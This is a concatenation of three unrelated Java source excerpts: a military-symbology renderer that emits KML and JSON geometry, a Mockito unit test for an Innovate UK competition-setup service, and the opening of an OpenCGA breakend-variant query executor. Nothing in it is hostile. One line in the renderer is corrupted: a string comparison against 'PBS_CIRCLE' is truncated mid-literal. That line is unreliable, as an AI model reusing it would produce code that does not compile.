int len = shapesArray.size();
kml.append("<MultiGeometry>");
for (int i = 0; i < len; i++) {
ArrayList shape = (ArrayList) shapesArray.get(i);
normalize = normalizePoints(shape, ipc);
if (lineColor != null && fillColor == null) {
kml.append("<LineString>");
kml.append("<tessellate>1</tessellate>");
kml.append("<altitudeMode>clampToGround</altitudeMode>");
kml.append("<coordinates>");
int n = shape.size();
//for (int j = 0; j < shape.size(); j++)
for (int j = 0; j < n; j++) {
Point2D coord = (Point2D) shape.get(j);
Point2D geoCoord = ipc.PixelsToGeo(coord);
if (normalize) {
geoCoord = NormalizeCoordToGECoord(geoCoord);
}
double latitude = Math.round(geoCoord.getY() * 100000000.0) / 100000000.0;
double longitude = Math.round(geoCoord.getX() * 100000000.0) / 100000000.0;
kml.append(longitude);
kml.append(",");
kml.append(latitude);
if(j<shape.size()-1)
kml.append(" ");
}
kml.append("</coordinates>");
kml.append("</LineString>");
}
if (fillColor != null) {
if (i == 0) {
kml.append("<Polygon>");
}
//kml.append("<outerBoundaryIs>");
if (i == 1 && len > 1) {
kml.append("<innerBoundaryIs>");
} else {
kml.append("<outerBoundaryIs>");
}
kml.append("<LinearRing>");
kml.append("<altitudeMode>clampToGround</altitudeMode>");
kml.append("<tessellate>1</tessellate>");
kml.append("<coordinates>");
//this section is a workaround for a google earth bug. Issue 417 was closed
//for linestrings but they did not fix the smae issue for fills. If Google fixes the issue
//for fills then this section will need to be commented or it will induce an error.
double lastLongitude = Double.MIN_VALUE;
if (normalize == false && IsOnePointSymbolCode(symbolCode)) {
int n = shape.size();
//for (int j = 0; j < shape.size(); j++)
for (int j = 0; j < n; j++) {
Point2D coord = (Point2D) shape.get(j);
Point2D geoCoord = ipc.PixelsToGeo(coord);
double longitude = geoCoord.getX();
if (lastLongitude != Double.MIN_VALUE) {
if (Math.abs(longitude - lastLongitude) > 180d) {
normalize = true;
break;
}
}
lastLongitude = longitude;
}
}
int n = shape.size();
//for (int j = 0; j < shape.size(); j++)
for (int j = 0; j < n; j++) {
Point2D coord = (Point2D) shape.get(j);
Point2D geoCoord = ipc.PixelsToGeo(coord);
double latitude = Math.round(geoCoord.getY() * 100000000.0) / 100000000.0;
double longitude = Math.round(geoCoord.getX() * 100000000.0) / 100000000.0;
//fix for fill crossing DTL
if (normalize) {
if (longitude > 0) {
longitude -= 360;
}
}
kml.append(longitude);
kml.append(",");
kml.append(latitude);
if(j<shape.size()-1)
kml.append(" ");
}
kml.append("</coordinates>");
kml.append("</LinearRing>");
if (i == 1 && len > 1) {
kml.append("</innerBoundaryIs>");
} else {
kml.append("</outerBoundaryIs>");
}
if (i == len - 1) {
kml.append("</Polygon>");
}
}
}
kml.append("</MultiGeometry>");
kml.append("</Placemark>");
return kml.toString();
}
/**
*
* @param shapeInfo
* @param ipc
* @param normalize
* @return
* @deprecated
*/
private static ShapeInfo ShapeToWWReady(
ShapeInfo shapeInfo,
IPointConversion ipc,
boolean normalize) {
ArrayList shapesArray = shapeInfo.getPolylines();
int len = shapesArray.size();
for (int i = 0; i < len; i++) {
ArrayList shape = (ArrayList) shapesArray.get(i);
if (shapeInfo.getLineColor() != null) {
int n = shape.size();
//for (int j = 0; j < shape.size(); j++)
for (int j = 0; j < n; j++) {
Point2D coord = (Point2D) shape.get(j);
Point2D geoCoord = ipc.PixelsToGeo(coord);
//M. Deutch 9-26-11
if (normalize) {
geoCoord = NormalizeCoordToGECoord(geoCoord);
}
shape.set(j, geoCoord);
}
}
if (shapeInfo.getFillColor() != null) {
int n = shape.size();
//for (int j = 0; j < shape.size(); j++)
for (int j = 0; j < n; j++) {
Point2D coord = (Point2D) shape.get(j);
Point2D geoCoord = ipc.PixelsToGeo(coord);
//M. Deutch 9-26-11
//commenting these two lines seems to help with fill not go around the pole
//if(normalize)
//geoCoord=NormalizeCoordToGECoord(geoCoord);
shape.set(j, geoCoord);
}
}
}
return shapeInfo;
}
private static ShapeInfo LabelToWWReady(ShapeInfo shapeInfo,
IPointConversion ipc,
boolean normalize) {
try {
Point2D coord = (Point2D) new Point2D.Double(shapeInfo.getGlyphPosition().getX(), shapeInfo.getGlyphPosition().getY());
Point2D geoCoord = ipc.PixelsToGeo(coord);
//M. Deutch 9-26-11
if (normalize) {
geoCoord = NormalizeCoordToGECoord(geoCoord);
}
double latitude = geoCoord.getY();
double longitude = geoCoord.getX();
long angle = Math.round(shapeInfo.getModifierStringAngle());
String text = shapeInfo.getModifierString();
if (text != null && text.equals("") == false) {
shapeInfo.setModifierStringPosition(geoCoord);
} else {
return null;
}
} catch (Exception exc) {
System.err.println(exc.getMessage());
exc.printStackTrace();
}
return shapeInfo;
}
/**
* Google earth centers text on point rather than drawing from that point.
* So we need to adjust the point to where the center of the text would be.
*
* @param modifier
*/
private static void AdjustModifierPointToCenter(ShapeInfo modifier) {
AffineTransform at = null;
try {
Rectangle bounds2 = modifier.getTextLayout().getBounds();
Rectangle2D bounds = new Rectangle2D.Double(bounds2.x, bounds2.y, bounds2.width, bounds2.height);
} catch (Exception exc) {
System.err.println(exc.getMessage());
exc.printStackTrace();
}
}
/**
*
* @param shapeInfo
* @param ipc
* @param geMap
* @param normalize
* @return
* @deprecated
*/
private static String ShapeToJSONString(ShapeInfo shapeInfo, IPointConversion ipc, Boolean geMap, boolean normalize) {
StringBuilder JSONed = new StringBuilder();
/*
NOTE: Google Earth / KML colors are backwards.
They are ordered Alpha,Blue,Green,Red, not Red,Green,Blue,Aplha like the rest of the world
* */
String fillColor = null;
String lineColor = null;
if (shapeInfo.getLineColor() != null) {
lineColor = Integer.toHexString(shapeInfo.getLineColor().toARGB());
if (geMap) {
lineColor = JavaRendererUtilities.ARGBtoABGR(lineColor);
}
}
if (shapeInfo.getFillColor() != null) {
fillColor = Integer.toHexString(shapeInfo.getFillColor().toARGB());
if (geMap) {
fillColor = JavaRendererUtilities.ARGBtoABGR(fillColor);
}
}
BasicStroke stroke = null;
stroke = (BasicStroke) shapeInfo.getStroke();
int lineWidth = 4;
if (stroke != null) {
lineWidth = (int) stroke.getLineWidth();
}
ArrayList shapesArray = shapeInfo.getPolylines();
int n = shapesArray.size();
//for (int i = 0; i < shapesArray.size(); i++)
for (int i = 0; i < n; i++) {
ArrayList shape = (ArrayList) shapesArray.get(i);
if (fillColor != null) {
JSONed.append("{\"polygon\":[");
} else {
JSONed.append("{\"line\":[");
}
int t = shape.size();
//for (int j = 0; j < shape.size(); j++)
for (int j = 0; j < t; j++) {
Point2D coord = (Point2D) shape.get(j);
Point2D geoCoord = ipc.PixelsToGeo(coord);
//M. Deutch 9-27-11
if (normalize) {
geoCoord = NormalizeCoordToGECoord(geoCoord);
}
double latitude = geoCoord.getY();
double longitude = geoCoord.getX();
//diagnostic M. Deutch 10-18-11
//set the point as geo so that the
coord = new Point2D.Double(longitude, latitude);
shape.set(j, coord);
JSONed.append("[");
JSONed.append(longitude);
JSONed.append(",");
JSONed.append(latitude);
JSONed.append("]");
if (j < (shape.size() - 1)) {
JSONed.append(",");
}
}
JSONed.append("]");
if (lineColor != null) {
JSONed.append(",\"lineColor\":\"");
JSONed.append(lineColor);
JSONed.append("\"");
}
if (fillColor != null) {
JSONed.append(",\"fillColor\":\"");
JSONed.append(fillColor);
JSONed.append("\"");
}
JSONed.append(",\"lineWidth\":\"");
JSONed.append(String.valueOf(lineWidth));
JSONed.append("\"");
JSONed.append("}");
if (i < (shapesArray.size() - 1)) {
JSONed.append(",");
}
}
return JSONed.toString();
}
private static String LabelToKMLString(ShapeInfo shapeInfo, IPointConversion ipc, boolean normalize, Color textColor) {
java.lang.StringBuilder kml = new java.lang.StringBuilder();
//Point2D coord = (Point2D) new Point2D.Double(shapeInfo.getGlyphPosition().getX(), shapeInfo.getGlyphPosition().getY());
Point2D coord = (Point2D) new Point2D.Double(shapeInfo.getModifierStringPosition().getX(), shapeInfo.getModifierStringPosition().getY());
Point2D geoCoord = ipc.PixelsToGeo(coord);
//M. Deutch 9-26-11
if (normalize) {
geoCoord = NormalizeCoordToGECoord(geoCoord);
}
double latitude = Math.round(geoCoord.getY() * 100000000.0) / 100000000.0;
double longitude = Math.round(geoCoord.getX() * 100000000.0) / 100000000.0;
long angle = Math.round(shapeInfo.getModifierStringAngle());
String text = shapeInfo.getModifierString();
String cdataStart = "<![CDATA[";
String cdataEnd = "]]>";
String color = Integer.toHexString(textColor.toARGB());
color = JavaRendererUtilities.ARGBtoABGR(color);
float kmlScale = RendererSettings.getInstance().getKMLLabelScale();
if (kmlScale > 0 && text != null && text.equals("") == false) {
kml.append("<Placemark>");//("<Placemark id=\"" + id + "_lp" + i + "\">");
kml.append("<name>" + cdataStart + text + cdataEnd + "</name>");
kml.append("<Style>");
kml.append("<IconStyle>");
kml.append("<scale>.7</scale>");
kml.append("<heading>" + angle + "</heading>");
kml.append("<Icon>");
kml.append("<href></href>");
kml.append("</Icon>");
kml.append("</IconStyle>");
kml.append("<LabelStyle>");
kml.append("<color>" + color + "</color>");
kml.append("<scale>" + String.valueOf(kmlScale) +"</scale>");
kml.append("</LabelStyle>");
kml.append("</Style>");
kml.append("<Point>");
kml.append("<extrude>1</extrude>");
kml.append("<altitudeMode>relativeToGround</altitudeMode>");
kml.append("<coordinates>");
kml.append(longitude);
kml.append(",");
kml.append(latitude);
kml.append("</coordinates>");
kml.append("</Point>");
kml.append("</Placemark>");
} else {
return "";
}
return kml.toString();
}
/**
*
* @param shapeInfo
* @param ipc
* @param normalize
* @return
* @deprecated
*/
private static String LabelToJSONString(ShapeInfo shapeInfo, IPointConversion ipc, boolean normalize) {
StringBuilder JSONed = new StringBuilder();
/*
NOTE: Google Earth / KML colors are backwards.
They are ordered Alpha,Blue,Green,Red, not Red,Green,Blue,Aplha like the rest of the world
* */
JSONed.append("{\"label\":");
Point2D coord = (Point2D) new Point2D.Double(shapeInfo.getGlyphPosition().getX(), shapeInfo.getGlyphPosition().getY());
Point2D geoCoord = ipc.PixelsToGeo(coord);
if (normalize) {
geoCoord = NormalizeCoordToGECoord(geoCoord);
}
double latitude = geoCoord.getY();
double longitude = geoCoord.getX();
double angle = shapeInfo.getModifierStringAngle();
coord.setLocation(longitude, latitude);
shapeInfo.setGlyphPosition(coord);
String text = shapeInfo.getModifierString();
if (text != null && text.equals("") == false) {
JSONed.append("[");
JSONed.append(longitude);
JSONed.append(",");
JSONed.append(latitude);
JSONed.append("]");
JSONed.append(",\"text\":\"");
JSONed.append(text);
JSONed.append("\"");
JSONed.append(",\"angle\":\"");
JSONed.append(angle);
JSONed.append("\"}");
} else {
return "";
}
return JSONed.toString();
}
static String canRenderMultiPoint(MilStdSymbol symbol) {
int symStd = symbol.getSymbologyStandard();
String symbolID = symbol.getSymbolID();
String basicID = SymbolUtilities.getBasicSymbolID(symbolID);
SymbolDef sd = null;
int dc = 99;
int coordCount = symbol.getCoordinates().size();
try {
String message = "";
if (SymbolDefTable.getInstance().HasSymbolDef(basicID, symStd)) {
sd = SymbolDefTable.getInstance().getSymbolDef(basicID, symStd);
}
if (sd != null) {
dc = sd.getDrawCategory();
if (coordCount < sd.getMinPoints()) {
message = ("symbolID: \"" + symbolID + "\" requires a minimum of " + String.valueOf(sd.getMinPoints()) + " points. " + String.valueOf(coordCount) + " are present.");
return message;
}
} else if (symbolID.startsWith("BS_")) {
//Will need to be updated to do a more thorough check for
//basic shapes and buffered basic shapes.
//Return true for now.
return "true";
}
else if (symbolID.startsWith("BBS_")) {
ArrayList<Double> AM = symbol.getModifiers_AM_AN_X(ModifiersTG.AM_DISTANCE);
if(AM != null && AM.size() > 0 && AM.get(0) >= 0)
return "true";
else
return "false: Buffered Basic Shapes require a width (AM)";
}
else if (symbolID.startsWith("PBS_"))
{
ArrayList<Double> AM = symbol.getModifiers_AM_AN_X(ModifiersTG.AM_DISTANCE);
if(symbolID.equals("PBS_CIRCLE
{
if (AM != null && AM.size() > 0 && coordCount > 0)
{
return "true";
}
else
{
return ("false: " + symbolID + ", requires a width (AM) and 1 control point");
}
}
else if(symbolID.equals("PBS_ELLIPSE----") || symbolID.equals("PBS_RECTANGLE--"))
{
if (AM != null && AM.size() > 1 && coordCount > 0)
{
return "true";
}
else
{
return ("false: " + symbolID + ", requires 2 AM values, length and width (AM) and 1 control point");
}
}
else
{
return ("false: " + symbolID + ", not a recognized code for a parametered basic shape.");
}
}
else {
return ("symbolID: \"" + symbolID + "\" not recognized.");
}
//now check for required modifiers\
ArrayList<Double> AM = symbol.getModifiers_AM_AN_X(ModifiersTG.AM_DISTANCE);
ArrayList<Double> AN = symbol.getModifiers_AM_AN_X(ModifiersTG.AN_AZIMUTH);
String result = hasRequiredModifiers(symbolID, dc, AM, AN);
if (result.equals("true") == false) {
return result;
} else {
return "true";
}
} catch (Exception exc) {
ErrorLogger.LogException("MultiPointHandler", "canRenderMultiPoint", exc);
return "true";
}
}
static private String AddImageFillToKML(ArrayList<POINT2> tgPoints,
String jsonContent, SparseArray symbolModifiers, IPointConversion ipc, Boolean normalize) //symbolModifiers was MilStdSymbol mSymbol
{
if(tgPoints==null || tgPoints.size()==0)
return null;
//get original point values in pixel form
ArrayList<Point2D> pixelPoints = new ArrayList<Point2D>();
//Path2D path = new Path2D.Double();
GeneralPath path = new GeneralPath();
//for(JavaLineArray.POINT2 pt : tgPoints)
int kcount = tgPoints.size();
POINT2 tpTemp = null;
for(int k = 0; k < kcount;k++)
{
tpTemp = tgPoints.get(k);
pixelPoints.add(new Point2D.Double(tpTemp.x, tpTemp.y));
if(k>0)
{
path.lineTo(tpTemp.x, tpTemp.y);
}
else
{
path.moveTo(tpTemp.x, tpTemp.y);
}
}
Rectangle rect = path.getBounds();
//get url for the fill or line pattern PNG
//String goImageUrl = SECWebRenderer.GenerateSymbolLineFillUrl(mSymbol.getModifierMap(), pixelPoints,rect);
String goImageUrl = SECWebRenderer.GenerateSymbolLineFillUrl(symbolModifiers, pixelPoints,rect);
//generate the extra KML needed to insert the image
String goKML = GenerateGroundOverlayKML(goImageUrl,ipc,rect,normalize);
goKML += "</Folder>";
//StringBuilder sb = new StringBuilder();
//sb.replace(start, end, str)
jsonContent = jsonContent.replace("</Folder>", goKML);
return jsonContent;
}
static private String hasRequiredModifiers(String symbolID, int dc, ArrayList<Double> AM, ArrayList<Double> AN) {
String message = symbolID;
try {
if ((dc >= 16 && dc <= 20)) {
if (dc == SymbolDef.DRAW_CATEGORY_CIRCULAR_PARAMETERED_AUTOSHAPE)
{
if (AM != null && AM.size() > 0) {
return "true";
} else {
message += " requires a modifiers object that has 1 distance/AM value.";
return message;
}
} else if (dc == SymbolDef.DRAW_CATEGORY_RECTANGULAR_PARAMETERED_AUTOSHAPE)
{
if (AM != null && AM.size() >= 2
&& AN != null && AN.size() >= 1) {
return "true";
} else {
message += (" requires a modifiers object that has 2 distance/AM values and 1 azimuth/AN value.");
return message;
}
} else if (dc == SymbolDef.DRAW_CATEGORY_SECTOR_PARAMETERED_AUTOSHAPE)
{
if (AM != null && AM.size() >= 2
&& AN != null && AN.size() >= 2) {
return "true";
} else {
message += (" requires a modifiers object that has 2 distance/AM values and 2 azimuth/AN values per sector. The first sector can have just one AM value although it is recommended to always use 2 values for each sector.");
return message;
}
} else if (dc == SymbolDef.DRAW_CATEGORY_CIRCULAR_RANGEFAN_AUTOSHAPE)
{
if (AM != null && AM.size() > 0) {
return "true";
} else {
message += (" requires a modifiers object that has at least 1 distance/AM value");
return message;
}
} else if (dc == SymbolDef.DRAW_CATEGORY_TWO_POINT_RECT_PARAMETERED_AUTOSHAPE)
{
if (AM != null && AM.size() > 0) {
return "true";
} else {
message += (" requires a modifiers object that has 1 distance/AM value.");
return message;
}
} else {
//should never get here
return "true";
}
} else {
//no required parameters
return "true";
}
} catch (Exception exc) {
ErrorLogger.LogException("MultiPointHandler", "hasRequiredModifiers", exc);
return "true";
}
}
}
|
package org.innovateuk.ifs.competitionsetup.transactional;
import org.innovateuk.ifs.BaseServiceUnitTest;
import org.innovateuk.ifs.commons.service.ServiceResult;
import org.innovateuk.ifs.competition.domain.Competition;
import org.innovateuk.ifs.competition.domain.CompetitionType;
import org.innovateuk.ifs.competition.domain.GrantTermsAndConditions;
import org.innovateuk.ifs.competition.publiccontent.resource.FundingType;
import org.innovateuk.ifs.competition.repository.CompetitionRepository;
import org.innovateuk.ifs.competition.repository.CompetitionTypeRepository;
import org.innovateuk.ifs.competition.repository.GrantTermsAndConditionsRepository;
import org.innovateuk.ifs.competition.resource.CompetitionStatus;
import org.innovateuk.ifs.competitionsetup.applicationformbuilder.fundingtype.GrantBuilder;
import org.innovateuk.ifs.competitionsetup.applicationformbuilder.fundingtype.LoanBuilder;
import org.innovateuk.ifs.competitionsetup.applicationformbuilder.template.ProgrammeTemplate;
import org.innovateuk.ifs.competitionsetup.repository.AssessorCountOptionRepository;
import org.innovateuk.ifs.competitionsetup.repository.CompetitionDocumentConfigRepository;
import org.innovateuk.ifs.file.repository.FileTypeRepository;
import org.innovateuk.ifs.question.transactional.template.QuestionPriorityOrderService;
import org.junit.Before;
import org.junit.Test;
import org.mockito.Mock;
import java.util.Optional;
import static com.google.common.collect.Lists.newArrayList;
import static org.innovateuk.ifs.commons.error.CommonFailureKeys.COMPETITION_NOT_EDITABLE;
import static org.innovateuk.ifs.competition.builder.CompetitionBuilder.newCompetition;
import static org.innovateuk.ifs.competition.builder.CompetitionTypeBuilder.newCompetitionType;
import static org.innovateuk.ifs.competition.resource.CompetitionTypeEnum.PROGRAMME;
import static org.innovateuk.ifs.competitionsetup.applicationformbuilder.builder.SectionBuilder.aSection;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
public class CompetitionSetupTemplateServiceImplTest extends BaseServiceUnitTest<CompetitionSetupTemplateServiceImpl> {
public CompetitionSetupTemplateServiceImpl supplyServiceUnderTest() {
return new CompetitionSetupTemplateServiceImpl();
}
@Mock
private CompetitionTypeRepository competitionTypeRepositoryMock;
@Mock
private CompetitionRepository competitionRepositoryMock;
@Mock
private AssessorCountOptionRepository assessorCountOptionRepositoryMock;
@Mock
private GrantTermsAndConditionsRepository grantTermsAndConditionsRepositoryMock;
@Mock
private CompetitionDocumentConfigRepository competitionDocumentConfigRepository;
@Mock
private FileTypeRepository fileTypeRepository;
@Mock
private ProgrammeTemplate programmeTemplate;
@Mock
private LoanBuilder loanBuilder;
@Mock
private GrantBuilder grantBuilder;
@Mock
private QuestionPriorityOrderService questionPriorityOrderService;
@Before
public void setup() {
when(programmeTemplate.type()).thenReturn(PROGRAMME);
when(loanBuilder.type()).thenReturn(FundingType.LOAN);
when(grantBuilder.type()).thenReturn(FundingType.GRANT);
service.setCompetitionTemplates(newArrayList(programmeTemplate));
service.setFundingTypeTemplates(newArrayList(loanBuilder, grantBuilder));
}
@Test
public void initializeCompetitionByCompetitionTemplate_competitionTypeCantBeFoundShouldResultException() {
CompetitionType competitionType = newCompetitionType().withId(1L).build();
Competition competition = newCompetition().withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP).withId(3L).build();
when(competitionTypeRepositoryMock.findById(competitionType.getId())).thenReturn(Optional.empty());
when(competitionRepositoryMock.findById(competition.getId())).thenReturn(Optional.of(competition));
when(assessorCountOptionRepositoryMock.findByCompetitionTypeIdAndDefaultOptionTrue(competitionType.getId())).thenReturn(Optional.empty());
ServiceResult<Competition> result = service.initializeCompetitionByCompetitionTemplate(competition.getId(), competitionType.getId());
assertTrue(result.isFailure());
assertTrue(result.getFailure().is(COMPETITION_NOT_EDITABLE));
}
@Test
public void initializeCompetitionByCompetitionTemplate_competitionCantBeFoundShouldResultInServiceFailure() {
CompetitionType competitionType = newCompetitionType().withId(1L).build();
Competition competition = newCompetition().withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP).withId(3L).build();
when(competitionTypeRepositoryMock.findById(competitionType.getId())).thenReturn(Optional.of(competitionType));
when(competitionRepositoryMock.findById(competition.getId())).thenReturn(Optional.empty());
when(assessorCountOptionRepositoryMock.findByCompetitionTypeIdAndDefaultOptionTrue(competitionType.getId())).thenReturn(Optional.empty());
ServiceResult<Competition> result = service.initializeCompetitionByCompetitionTemplate(competition.getId(), competitionType.getId());
assertTrue(result.isFailure());
assertTrue(result.getFailure().is(COMPETITION_NOT_EDITABLE));
}
@Test
public void initializeCompetitionByCompetitionTemplate_competitionNotInCompetitionSetupShouldResultInServiceFailure() {
CompetitionType competitionType = newCompetitionType().withId(1L).build();
Competition competition = newCompetition().withCompetitionStatus(CompetitionStatus.READY_TO_OPEN).withId(3L).build();
when(competitionTypeRepositoryMock.findById(competitionType.getId())).thenReturn(Optional.of(competitionType));
when(competitionRepositoryMock.findById(competition.getId())).thenReturn(Optional.of(competition));
when(assessorCountOptionRepositoryMock.findByCompetitionTypeIdAndDefaultOptionTrue(competitionType.getId())).thenReturn(Optional.empty());
ServiceResult<Competition> result = service.initializeCompetitionByCompetitionTemplate(competition.getId(), competitionType.getId());
assertTrue(result.isFailure());
assertTrue(result.getFailure().is(COMPETITION_NOT_EDITABLE));
}
@Test
public void initializeCompetitionByCompetitionTemplate() {
CompetitionType competitionType = newCompetitionType()
.withName(PROGRAMME.getText())
.withId(1L)
.build();
Competition competition = newCompetition()
.withId(3L)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.withFundingType(FundingType.GRANT)
.build();
when(programmeTemplate.sections()).thenReturn(newArrayList(aSection()));
when(grantBuilder.sections(any())).thenReturn(newArrayList(aSection()));
when(grantBuilder.initialiseFinanceTypes(any())).thenReturn(competition);
when(grantBuilder.initialiseProjectSetupColumns(any())).thenReturn(competition);
when(competitionTypeRepositoryMock.findById(competitionType.getId())).thenReturn(Optional.of(competitionType));
when(competitionRepositoryMock.findById(competition.getId())).thenReturn(Optional.of(competition));
when(assessorCountOptionRepositoryMock.findByCompetitionTypeIdAndDefaultOptionTrue(competitionType.getId()))
.thenReturn(Optional.empty());
ServiceResult<Competition> result = service.initializeCompetitionByCompetitionTemplate(competition.getId(), competitionType.getId());
assertTrue(result.isSuccess());
verify(programmeTemplate).copyTemplatePropertiesToCompetition(competition);
}
@Test
public void initializeCompetitionByCompetitionTemplate_fundingTypeTermsAndConditions() {
GrantTermsAndConditions fundingTypeTerms = new GrantTermsAndConditions();
CompetitionType competitionType = newCompetitionType()
.withName(PROGRAMME.getText())
.withId(1L)
.build();
Competition competition = newCompetition()
.withId(3L)
.withCompetitionStatus(CompetitionStatus.COMPETITION_SETUP)
.withFundingType(FundingType.LOAN)
.build();
when(grantTermsAndConditionsRepositoryMock.getLatestForFundingType(FundingType.LOAN)).thenReturn(fundingTypeTerms);
when(programmeTemplate.sections()).thenReturn(newArrayList(aSection()));
when(loanBuilder.sections(any())).thenReturn(newArrayList(aSection()));
when(loanBuilder.initialiseFinanceTypes(any())).thenReturn(competition);
when(loanBuilder.initialiseProjectSetupColumns(any())).thenReturn(competition);
when(competitionTypeRepositoryMock.findById(competitionType.getId())).thenReturn(Optional.of(competitionType));
when(competitionRepositoryMock.findById(competition.getId())).thenReturn(Optional.of(competition));
when(assessorCountOptionRepositoryMock.findByCompetitionTypeIdAndDefaultOptionTrue(competitionType.getId()))
.thenReturn(Optional.empty());
when(competitionRepositoryMock.save(competition)).thenReturn(competition);
ServiceResult<Competition> result = service.initializeCompetitionByCompetitionTemplate(competition.getId(), competitionType.getId());
assertTrue(result.isSuccess());
verify(programmeTemplate).copyTemplatePropertiesToCompetition(competition);
assertEquals(result.getSuccess().getTermsAndConditions(), fundingTypeTerms);
}
}
|
package org.opencb.opencga.storage.core.variant.query.executors;
import com.google.common.collect.Iterators;
import org.opencb.biodata.models.core.Region;
import org.opencb.biodata.models.variant.StudyEntry;
import org.opencb.biodata.models.variant.Variant;
import org.opencb.biodata.models.variant.avro.BreakendMate;
import org.opencb.biodata.models.variant.avro.FileEntry;
import org.opencb.biodata.models.variant.avro.SampleEntry;
import org.opencb.biodata.models.variant.avro.VariantType;
import org.opencb.commons.datastore.core.ObjectMap;
import org.opencb.commons.datastore.core.Query;
import org.opencb.commons.datastore.core.QueryOptions;
import org.opencb.commons.datastore.core.QueryParam;
import org.opencb.opencga.core.response.VariantQueryResult;
import org.opencb.opencga.storage.core.exceptions.StorageEngineException;
import org.opencb.opencga.storage.core.metadata.VariantStorageMetadataManager;
import org.opencb.opencga.storage.core.variant.VariantStorageOptions;
import org.opencb.opencga.storage.core.variant.adaptors.VariantDBAdaptor;
import org.opencb.opencga.storage.core.variant.adaptors.VariantQueryException;
import org.opencb.opencga.storage.core.variant.adaptors.VariantQueryParam;
import org.opencb.opencga.storage.core.variant.adaptors.iterators.VariantDBIterator;
import org.opencb.opencga.storage.core.variant.query.VariantQueryUtils;
import org.opencb.opencga.storage.core.variant.query.filters.VariantFilterBuilder;
import java.util.*;
import java.util.function.Predicate;
public class BreakendVariantQueryExecutor extends VariantQueryExecutor {
private final VariantQueryExecutor delegatedQueryExecutor;
private final VariantDBAdaptor variantDBAdaptor;
private final VariantFilterBuilder filterBuilder;
public BreakendVariantQueryExecutor(VariantStorageMetadataManager metadataManager, String storageEngineId, ObjectMap options,
VariantQueryExecutor delegatedQueryExecutor, VariantDBAdaptor variantDBAdaptor) {
super(metadataManager, storageEngineId, options);
this.delegatedQueryExecutor = delegatedQueryExecutor;
this.variantDBAdaptor = variantDBAdaptor;
filterBuilder = new VariantFilterBuilder(metadataManager);
}
@Override
public boolean canUseThisExecutor(Query query, QueryOptions options) throws StorageEngineException {
return query.getString(VariantQueryParam.TYPE.key()).equals(VariantType.BREAKEND.name())
&& VariantQueryUtils.isValidParam(query, VariantQueryParam.GENOTYPE);
}
@Override
protected Object getOrIterator(Query query, QueryOptions options, boolean getIterator) throws StorageEngineException {
int limit = options.getInt(QueryOptions.LIMIT);
int skip = options.getInt(QueryOptions.SKIP);
boolean count = options.getBoolean(QueryOptions.COUNT);
int approximateCountSamplingSize = options.getInt(
VariantStorageOptions.APPROXIMATE_COUNT_SAMPLING_SIZE.key(),
VariantStorageOptions.APPROXIMATE_COUNT_SAMPLING_SIZE.defaultValue());
Query baseQuery = baseQuery(query);
Predicate<Variant> variantLocalFilter = filterBuilder.buildFilter(query, options);
if (getIterator) {
VariantDBIterator iterator = delegatedQueryExecutor.iterator(query, options);
iterator = iterator.mapBuffered(l -> getBreakendPairs(0, baseQuery, variantLocalFilter, l), 100);
Iterators.advance(iterator, skip);
iterator = iterator.localSkip(skip);
if (limit > 0) {
iterator = iterator.localLimit(limit);
}
return iterator;
} else {
// Copy to avoid modifications to input options
options = new QueryOptions(options);
options.remove(QueryOptions.SKIP);
int tmpLimit = skip + limit * 2;
if (count && tmpLimit < approximateCountSamplingSize) {
tmpLimit = approximateCountSamplingSize;
}
options.put(QueryOptions.LIMIT, tmpLimit);
VariantQueryResult<Variant> queryResult = delegatedQueryExecutor.get(query, options);
List<Variant> results = queryResult.getResults();
results = getBreakendPairs(0, baseQuery, variantLocalFilter, results);
if (queryResult.getNumMatches() < tmpLimit) {
// Exact count!!
queryResult.setApproximateCount(false);
queryResult.setNumMatches(results.size());
} else if (queryResult.getNumMatches() > 0) {
// Approx count. Just ignore duplicated pairs
queryResult.setApproximateCount(true);
queryResult.setNumMatches(queryResult.getNumMatches() * 2);
}
if (skip > results.size()) {
results = Collections.emptyList();
} else if (skip > 0) {
results = results.subList(skip, results.size());
}
if (results.size() > limit) {
results = results.subList(0, limit);
}
queryResult.setResults(results);
queryResult.setNumResults(results.size());
return queryResult;
}
}
protected VariantDBIterator iterator(Query query, QueryOptions options, int batchSize) throws StorageEngineException {
int limit = options.getInt(QueryOptions.LIMIT);
int skip = options.getInt(QueryOptions.SKIP);
Query baseQuery = baseQuery(query);
Predicate<Variant> variantLocalFilter = filterBuilder.buildFilter(query, options);
VariantDBIterator iterator = delegatedQueryExecutor.iterator(query, options);
iterator = iterator.mapBuffered(l -> getBreakendPairs(0, baseQuery, variantLocalFilter, l), batchSize);
Iterators.advance(iterator, skip);
iterator = iterator.localSkip(skip);
if (limit > 0) {
iterator = iterator.localLimit(limit);
}
return iterator;
}
private Query baseQuery(Query query) {
return subQuery(query,
VariantQueryParam.STUDY,
VariantQueryParam.TYPE,
VariantQueryParam.INCLUDE_SAMPLE,
VariantQueryParam.INCLUDE_SAMPLE_ID,
VariantQueryParam.INCLUDE_GENOTYPE,
VariantQueryParam.INCLUDE_FILE
);
}
private Query subQuery(Query query, QueryParam... queryParams) {
Query subQuery = new Query();
for (QueryParam queryParam : queryParams) {
subQuery.putIfNotNull(queryParam.key(), query.get(queryParam.key()));
}
return subQuery;
}
private List<Variant> getBreakendPairs(int samplePosition, Query baseQuery, Predicate<Variant> filter, List<Variant> variants) {
if (variants.isEmpty()) {
return variants;
}
// Copy query to avoid propagating modifications
baseQuery = new Query(baseQuery);
// System.out.println("variants = " + variants);
List<Region> regions = new ArrayList<>(variants.size());
for (Variant variant : variants) {
BreakendMate mate = variant.getSv().getBreakend().getMate();
int buffer = 50;
regions.add(new Region(mate.getChromosome(), mate.getPosition() - buffer, mate.getPosition() + buffer));
}
baseQuery.put(VariantQueryParam.REGION.key(), regions);
Map<String, Variant> mateVariantsMap = new HashMap<>(variants.size());
for (Variant mateVariant : variantDBAdaptor.get(baseQuery, new QueryOptions()).getResults()) {
if (mateVariant.getStudies().isEmpty()) {
// Under weird situations, we might get empty studies list. Just discard them.
continue;
}
StudyEntry mateStudyEntry = mateVariant.getStudies().get(0);
SampleEntry sampleEntry = mateStudyEntry.getSample(samplePosition);
if (sampleEntry == null || sampleEntry.getFileIndex() == null) {
// Discard missing samples, or samples without file
// This might happen because we are not filtering by sample when getting the candidate mate-variants.
continue;
}
